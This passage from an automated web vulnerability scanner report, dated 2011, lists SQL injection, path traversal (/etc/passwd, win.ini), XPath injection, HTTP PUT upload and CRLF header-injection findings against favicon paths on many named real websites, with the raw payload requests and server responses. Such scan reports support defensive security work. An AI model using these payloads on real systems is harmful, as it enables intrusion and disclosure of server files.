Set-Cookie: orig_source=; expires=Sat, 16-Apr-2011 14:15:10 GMT; path=/
Set-Cookie: orig_ad_id=; expires=Sat, 16-Apr-2011 14:15:10 GMT; path=/
Set-Cookie: uid=2e7cae34-cedd-47d9-9f54-c586e23e3b35; expires=Mon, 02-May-2011 14:15:10 GMT; path=/
Set-Cookie: IsLoyaltyAvailable=False; expires=Mon, 02-May-2011 14:15:10 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 65425

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00__htmHead"><s
...[SNIP]...

1.9. http://www.inc.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.inc.com
Path:	/favicon.ico

Issue detail

Request 1

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.inc.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 500 Internal Server Error
Date: Sat, 02 Apr 2011 14:21:04 GMT
Server: VoxCAST
X-Powered-By: PHP/5.2.11
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from VoxCAST
Connection: close

Request 2

GET /favicon.ico'' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.inc.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:21:05 GMT
Server: VoxCAST
X-Powered-By: PHP/5.2.11
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from VoxCAST
Content-Length: 39399

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en" xmlns:fb="h
...[SNIP]...

1.10. http://www.psu.edu/favicon.ico [Referer HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.psu.edu
Path:	/favicon.ico

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Request 1

GET /favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.psu.edu
Accept: */*
Proxy-Connection: Keep-Alive
Referer: http://www.google.com/search?hl=en&q=%00'

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:04:38 GMT
Server: Apache/1.3.41 (Unix)
Content-Type: text/html
Content-Length: 5468

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xht
...[SNIP]...
</a> > Error 404 - Page not found

...[SNIP]...

Request 2

Response 2

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:04:38 GMT
Server: Apache/1.3.37 (Unix)
Last-Modified: Wed, 08 Jun 2005 11:51:35 GMT
ETag: "135d-400-42a6dbc7"
Accept-Ranges: bytes
Content-Length: 1024
Content-Type: image/x-icon

.PNG
.
...IHDR................a... pHYs.................gAMA....|.Q.... cHRM..z%..............u0...`..:....o._.F...vIDATx.b....!e.v.{...1...W@.............?.._|d.../.....000310022+.
......@..E...}..
...[SNIP]...

1.11. http://www.psu.edu/favicon.ico [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.psu.edu
Path:	/favicon.ico

Issue detail

Request 1

GET /favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3'
Host: www.psu.edu
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:04:30 GMT
Server: Apache/1.3.41 (Unix)
Content-Type: text/html
Content-Length: 5468

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xht
...[SNIP]...
</a> > Error 404 - Page not found

...[SNIP]...

Request 2

GET /favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3''
Host: www.psu.edu
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 14:04:30 GMT
Server: Apache/1.3.37 (Unix)
Last-Modified: Wed, 08 Jun 2005 11:51:35 GMT
ETag: "135d-400-42a6dbc7"
Accept-Ranges: bytes
Content-Length: 1024
Content-Type: image/x-icon

.PNG
.
...IHDR................a... pHYs.................gAMA....|.Q.... cHRM..z%..............u0...`..:....o._.F...vIDATx.b....!e.v.{...1...W@.............?.._|d.../.....000310022+.
......@..E...}..
...[SNIP]...

1.12. http://www.scholastic.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.scholastic.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 11468862'%20or%201%3d1--%20 and 11468862'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /favicon.ico11468862'%20or%201%3d1--%20 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.scholastic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 301 Moved Permanently
Server: nginx/0.7.64
Content-Type: text/html
X-Powered-By: ASP.NET
Location: http://www2.scholastic.com/browse/lessonplan.jsp?id=483
Content-Length: 0
Vary: Accept-Encoding
Date: Sat, 02 Apr 2011 13:54:12 GMT
Connection: close
Set-Cookie: ASPSESSIONIDCSDACTBQ=JOFOAFGDDIPFMOBAKFPNGCPM; path=/
Cache-Control: private

Request 2

GET /favicon.ico11468862'%20or%201%3d2--%20 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.scholastic.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html
X-Powered-By: ASP.NET
Content-Length: 5443
Vary: Accept-Encoding
Date: Sat, 02 Apr 2011 13:54:12 GMT
Connection: close
Set-Cookie: ASPSESSIONIDCSDACTBQ=KOFOAFGDFDKJCCJFLLJDMEJO; path=/
Cache-Control: private

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
   <title>Error Page</title>
<link rel="stylesheet" href="/css/header.css" type="text/css">
<script type="text/javascript" type="text/javascript" src="/menu/templates/global.js"></script>

<script type="text/javascript" src="/menu/templates/msnkids.js"></script>

</head>
<body >

<div id="schlPageWrapper">

<script type="text/javascript">imgRoot = "/universal/images/";</script>
<script type="text/javascript" src="/universal/universal.js"></script>

<div id="schlPageContent">

<div id="schlHeader">

<table border="0" cellpadding="0" cellspacing="0" id="innerHeader">
<tr valign="bottom">
<td id="schlChannel"> </td>
<td>
<div id="schlSearchBox">
<form name="searchForm" action=" http://www2.scholastic.com/browse/search" method="get" onsubmit="return setItHead();"><div id="gSearch">
               <table border="0" cellpadding="0" cellspacing="0" width="278">
       <tr>
       <td id="txtSearch"><input type="text" size="20" name="query" value="" class="txtSearch" /></td>
       <td><input type="image" src="/images/nav3.o/btnNavSearch.gif" border="0" class="btnSearch" alt="Search" /></td>
       </tr>
       </table>
   </div>

   </form>
</div>
</td>
</tr>
</table>

</div>

<div id="schlMainContent">

<div id="schlContent">



<div id="schlLegacy">
<img src="/images/nav3.o/wrapper_box_top.jpg" width="743" height="12" alt="" class="dBlock" />
<div class="box743Borders">






<!-- ORIGINAL BODY TAG --
...[SNIP]...

2. File path traversal previous next
There are 4 instances of this issue:

http://www.bodybuilding.com/favicon.ico [REST URL parameter 1]
http://www.buzzfeed.com/favicon.ico [REST URL parameter 1]
http://www.cabelas.com/favicon.ico [REST URL parameter 1]
http://www.info.com/favicon.ico [REST URL parameter 1]

2.1. http://www.bodybuilding.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.bodybuilding.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

The payload favicon.ico../../../../../../../../etc/passwd%00favicon.ico was submitted in the REST URL parameter 1. The requested file was returned in the application's response.

Request

GET /favicon.ico../../../../../../../../etc/passwd%00favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.bodybuilding.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny3
Content-Type: text/html
Date: Sat, 02 Apr 2011 13:40:37 GMT
Content-Length: 30357
Connection: close

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>
<html>
<head>

<title>Bodybuilding.com - PAGE NOT FOUND! 404 Error.</title>
<meta name
...[SNIP]...
server=""
s.channel="root"
s.products=""
s.prop30="B"
s.eVar30="B"
s.prop41="Anonymous"
s.eVar41="Anonymous"
s.prop1="Fun: Article"
s.eVar1="Fun: Article"
s.prop2="Article"
s.eVar2="Article"
s.prop33="Root: PAGE NOT FOUND! 404 Error."
s.eVar33="Root: PAGE NOT FOUND! 404 Error."
s.events="event3"
s.pageType=""
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_cod
...[SNIP]...

2.2. http://www.buzzfeed.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.buzzfeed.com
Path:	/favicon.ico

Issue detail

Request

GET /favicon.ico../../../../../../../../etc/passwd%00favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.buzzfeed.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:37:18 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 02 Apr 2011 13:00:01 GMT
ETag: "1190105-69e2-49fef1ab65640"
Accept-Ranges: bytes
Content-Length: 27106
Vary: Accept-Encoding,User-Agent
X-BuzzFeed: feed5
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbm
...[SNIP]...
<script type="text/javascript">
fb_is_enabled = false;

fb_is_enabled = true;

var BF_STATIC = {static_root: 'http://s-ak.buzzfed.com/static', image_root: 'http://s-ak.buzzfed.com', web_root: '', version: '1301693588', facebook_enabled: fb_is_enabled, fb_app_id:'45075597673', fb_api_key: 'c11330e934b70cdeed6
...[SNIP]...

2.3. http://www.cabelas.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.cabelas.com
Path:	/favicon.ico

Issue detail

Request

GET /favicon.ico../../../../../../../../etc/passwd%00favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.cabelas.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Last-Modified: Sat, 02 Apr 2011 07:00:02 GMT
Content-Type: text/html; charset=UTF-8
Cache-Control: max-age=604800
Date: Sat, 02 Apr 2011 13:32:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 53787

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <html >
       <head>
       <title>Cabela's - Page Not Found</title>
       <!--[if lt IE
...[SNIP]...
<li class="heading">Other Ways to Shop Home & Cabin:</li>
...[SNIP]...

2.4. http://www.info.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.info.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

The payload favicon.ico..\..\..\..\..\..\..\..\..\..\winnt\win.ini was submitted in the REST URL parameter 1. The requested file was returned in the application's response.

Request

GET /favicon.ico..\..\..\..\..\..\..\..\..\..\winnt\win.ini HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.info.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Set-Cookie: Z=YOYLQIS74.205.26.218CKMLM; path=/
Date: Sat, 02 Apr 2011 13:42:41 GMT
Server: Apache
Set-Cookie: a=newwindow+1+dpcollation_web+1+lang+0+familyfilter+1+bold+1+msRecentSearches+off+autocorrect+0+domain+infocom+ts+1301751761+last_cmp++engineset+int-only; expires=Wed, 01-Apr-2037 20:50:37 GMT; path=/; domain=.info.com
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 52097

<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Info.com - favicon.ico....................winntwin.ini - www.Info.com</title><link rel="shortcut icon" href="http:
...[SNIP]...
020039722EE73D3D91B91E26214CF" target="_blank" title="http://forum.emsisoft.com/Default.aspx?g=posts&t=6235" class=d>... PROGRA~1\Skype\Toolbars\INTERN~1\favicon.ico O9 - Extra ... Displaying WIN.INI: ; for 16-bit app support [fonts] ... C:\WINNT\PCHealth\HelpCtr\Binaries: ...</a>
...[SNIP]...

3. XPath injection previous next
There are 4 instances of this issue:

http://www.cartoonnetwork.com/favicon.ico [REST URL parameter 1]
http://www.ning.com/favicon.ico [REST URL parameter 1]
http://www.thefind.com/favicon.ico [REST URL parameter 1]
http://www.wwe.com/favicon.ico [REST URL parameter 1]

3.1. http://www.cartoonnetwork.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.cartoonnetwork.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload ' was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.cartoonnetwork.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 13:45:44 GMT
Server: Apache
Cache-Control: private
Content-Type: text/html
Vary: User-Agent,Accept-Encoding
Content-Length: 29979

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:spry="http://ns.ado
...[SNIP]...
<script language="javaScript" type="text/javascript" src="/tools/js/spry/xpath.js">
...[SNIP]...

3.2. http://www.ning.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.ning.com
Path:	/favicon.ico

Issue detail

Request

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ning.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
X-XN-Trace-Token: 035d4f9a-70d6-4175-ab94-68258d4901cd
Server: Ning HTTP Server 2.0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: xn_visitor=2888191c-8dd6-4fbf-b6df-ac955ebc0b1e;Path=/;Domain=.ning.com;Expires=Tue, 30-Mar-21 13:26:00 GMT
Set-Cookie: ning_session="nVdNOstw1Wwd3pQ9MfERZ5XA7iW5omP426d+IYw4032/qSqXv9ggV+DXyj999oWzF1tcrKfyFAU=";Path=/;Domain=ning.com;Expires=Sat, 02-Apr-11 14:26:00 GMT
XN-ResponseFrom: 10.16.47.166,(10.16.106.52,301,33)
Date: Sat, 02 Apr 2011 13:26:00 GMT
Set-Cookie: P=a%3A2%3A%7Bs%3A6%3A%22locale%22%3BN%3Bs%3A2%3A%22ab%22%3Bi%3A1691950182%3B%7D; expires=Tue, 30-Mar-2021 13:26:00 GMT; path=/
Location: http://www.ning.com/
Content-Type: text/html; charset=utf-8
Content-Length: 19093

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
<script>xp_subscribe('LogPageView', function(label_1, label_2, client_page_load_time, server_page_load_time) { xg_track_dynamic('PageView',{date:'xdate',host:'xhost',path:'xpath',user_agent:'xua',ip:'xip',cookie:'s',subdomain:'spretzel',screen_name:'s',section:'s',is_owner:'b0',is_admin:'b0',is_member:'b0',join_date:'80',referrer:'s',reload_count:'20',client_page_load_time_de
...[SNIP]...

3.3. http://www.thefind.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.thefind.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to XPath injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1, and an XPath error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request

GET /favicon.ico'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.thefind.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 02 Apr 2011 12:44:13 GMT
Server: Apache
Set-Cookie: flsid=899145ae9fb41c146ae6e41bb855b653; path=/
Expires: Tue, 23 Feb 1999 18:30:00 GMT
Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0
Last-Modified: Thu, 31 Mar 2011 05:45:51 GMT
Set-Cookie: fl-uid=03f6276b0fa2982d890f0193e189b615%2C1%2C1301748253; expires=Sun, 01-Apr-2012 12:44:13 GMT; path=/; domain=.thefind.com
Content-Language: en
Vary: Accept-Encoding
Status: 200 OK
Content-Length: 78472
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:elation="http://www.ajaxelation.com/xmlns">
<head>
<title>TheFind - Shopped & Found</title>

<script type="text/javascri
...[SNIP]...
<script type="text/javascript" src="//cdn.thefind.com/scripts/main/utils-initjquery-elation-browser-tracking-panel-ajaxlib-events-ui-msie~xpath/tplmgr-tplmgr/ui-infobox/user-user/marketing-bigpicture/jquery-suggest/search-suggest-input-search">
...[SNIP]...

3.4. http://www.wwe.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.wwe.com
Path:	/favicon.ico

Issue detail

Request

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.wwe.com
Accept: */*
Proxy-Connection: Keep-Alive

Response (redirected)

HTTP/1.1 404 Not Found
Server: Apache/2.2.17
Last-Modified: Fri, 01 Apr 2011 16:47:30 +0000
Vary: Cookie
ETag: "1301676450"
X-App: p5tyr3
Content-Type: text/html; charset=utf-8
X-Varnish: 1587144406 1587143361
X-CacheTyr-Server: p5tyr3
X-CacheTyr: HIT
X-CacheTyr-Hits: 1
X-Cacheable: NO: beresp.status 1
X-Cacheable-status: 404
Content-Length: 53517
X-Varnish: 979578143 959694108
X-CacheKyte-Server: p5kyte7
X-CacheKyte: HIT
X-CacheKyte-Hits: 1002095
Vary: Accept-Encoding
Cache-Control: public, must-revalidate, max-age=11294
Date: Sat, 02 Apr 2011 13:39:46 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<meta http-equi
...[SNIP]...

jQuery.extend(Drupal.settings, {"basePath":"\/","automodal":{".automodal":{"autoFit":false,"draggable":true,"width":2000,"height":2000,"automodalClose":true,"automodalReload":false}},"jcarousel":{"ajaxPath":"\/jcarousel\/ajax\/views"},"twitter_enabled":true,"getQ":"node\/16810560","views":{"ajax_path":"\/views\/ajax","ajaxViews":[{"view_name":"promo_pod","view_display_id":"block_1","view_args":"","view_
...[SNIP]...

4. HTTP PUT enabled previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://activresa-secure2.icor.fr
Path:	/

Issue detail

HTTP PUT is enabled on the web server. The file /9a847644e2391b55.txt was uploaded to the server using the PUT verb, and the contents of the file were subsequently retrieved using the GET verb.

Request 1

PUT /9a847644e2391b55.txt HTTP/1.0
Host: activresa-secure2.icor.fr
Content-Length: 16

facafbdd945895ba

Response 1

HTTP/1.1 201 Created
Connection: close
Date: Sat, 02 Apr 2011 12:48:23 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: https://activresa-secure2.icor.fr/9a847644e2391b55.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

Request 2

GET /9a847644e2391b55.txt HTTP/1.0
Host: activresa-secure2.icor.fr

Response 2

HTTP/1.1 200 OK
Cache-Control: max-age=60
Content-Length: 16
Content-Type: text/plain
Last-Modified: Sat, 02 Apr 2011 12:48:23 GMT
Accept-Ranges: bytes
ETag: W/"5222c64034f1cb1:3765"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 12:48:23 GMT
Connection: close

facafbdd945895ba

5. HTTP header injection previous next
There are 15 instances of this issue:

http://www.ew.com/favicon.ico [REST URL parameter 1]
http://www.familyeducation.com/favicon.ico [REST URL parameter 1]
http://www.health.com/favicon.ico [REST URL parameter 1]
http://www.homestead.com/favicon.ico [REST URL parameter 1]
http://www.instyle.com/favicon.ico [REST URL parameter 1]
http://www.livingsocial.com/favicon.ico [REST URL parameter 1]
http://www.people.com/favicon.ico [REST URL parameter 1]
http://www.peoplestylewatch.com/favicon.ico [REST URL parameter 1]
http://www.salesforce.com/favicon.ico [REST URL parameter 1]
http://www.shop.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.shopcompanion.com/favicon.ico [name of an arbitrarily supplied request parameter]
http://www.tbo.com/favicon.ico [REST URL parameter 1]
http://www.thisoldhouse.com/favicon.ico [REST URL parameter 1]
http://www.wn.com/favicon.ico [REST URL parameter 1]
http://www.youravon.com/favicon.ico [REST URL parameter 1]

5.1. http://www.ew.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ew.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7805c%0d%0aa049615f928 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7805c%0d%0aa049615f928 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ew.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 13:32:14 GMT
Location: http://www.ew.com/ew/7805c
a049615f928
Vary: Accept-Encoding
Content-Length: 307
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.ew.com/ew/78
...[SNIP]...

5.2. http://www.familyeducation.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.familyeducation.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2afbc%0d%0a10ac4b7e696 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /favicon.ico2afbc%0d%0a10ac4b7e696 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.familyeducation.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Redirect
Server: Microsoft-IIS/5.0
Date: Sat, 02 Apr 2011 13:57:17 GMT
Location: /defaultpage.htm?/favicon.ico2afbc
10ac4b7e696

5.3. http://www.health.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.health.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload a5cc2%0d%0a808e9ba22de was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /a5cc2%0d%0a808e9ba22de HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.health.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 13:35:15 GMT
Location: http://www.health.com/health/a5cc2
808e9ba22de
Vary: Accept-Encoding
Content-Length: 319
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.health.com/h
...[SNIP]...

5.4. http://www.homestead.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.homestead.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload a31ef%0d%0ac36e0392523 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /a31ef%0d%0ac36e0392523 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.homestead.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Sat, 02 Apr 2011 13:35:09 GMT
Location: /a31ef
c36e0392523/

5.5. http://www.instyle.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.instyle.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload b65da%0d%0aa9cfd0405fc was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /b65da%0d%0aa9cfd0405fc HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.instyle.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 02 Apr 2011 14:04:58 GMT
Location: http://www.instyle.com/instyle/b65da
a9cfd0405fc
Vary: Accept-Encoding
Content-Length: 322
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.instyle.com/
...[SNIP]...

5.6. http://www.livingsocial.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.livingsocial.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload a8e30%0d%0ab8e0c5a066b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /a8e30%0d%0ab8e0c5a066b HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.livingsocial.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sat, 02 Apr 2011 13:38:58 GMT
Content-Type: text/html
